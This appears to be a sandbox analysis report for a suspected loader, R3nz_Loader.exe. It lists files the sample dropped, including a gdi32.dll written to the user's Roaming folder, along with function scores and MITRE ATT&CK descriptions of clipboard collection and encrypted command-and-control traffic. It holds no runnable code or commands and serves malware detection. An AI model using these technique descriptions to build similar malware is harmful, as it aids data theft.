Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_R3nz_Loader.exe_bec9dbe1b9e61d8d1e53ea540fa1a964513b9dc_3ffa48ab_8809308f-a3f2-4ba9-9fed-4b6a65262092\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3C4D.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D87.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E15.tmp.xml

C:\Users\user\AppData\Roaming\gdi32.dll

C:\Windows\appcompat\Programs\Amcache.hve

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
R3nz_Loader.exe

Function 6CEE6B80 Relevance: 17.1, APIs: 2, Strings: 7, Instructions: 1306
COMMON

Function 6CEF0BF8 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6CEF0CA8 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6CEF0AF1 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6CEF591D Relevance: 3.1, APIs: 2, Instructions: 67
COMMON

Function 6CEF6180 Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Function 6CEF3EE6 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre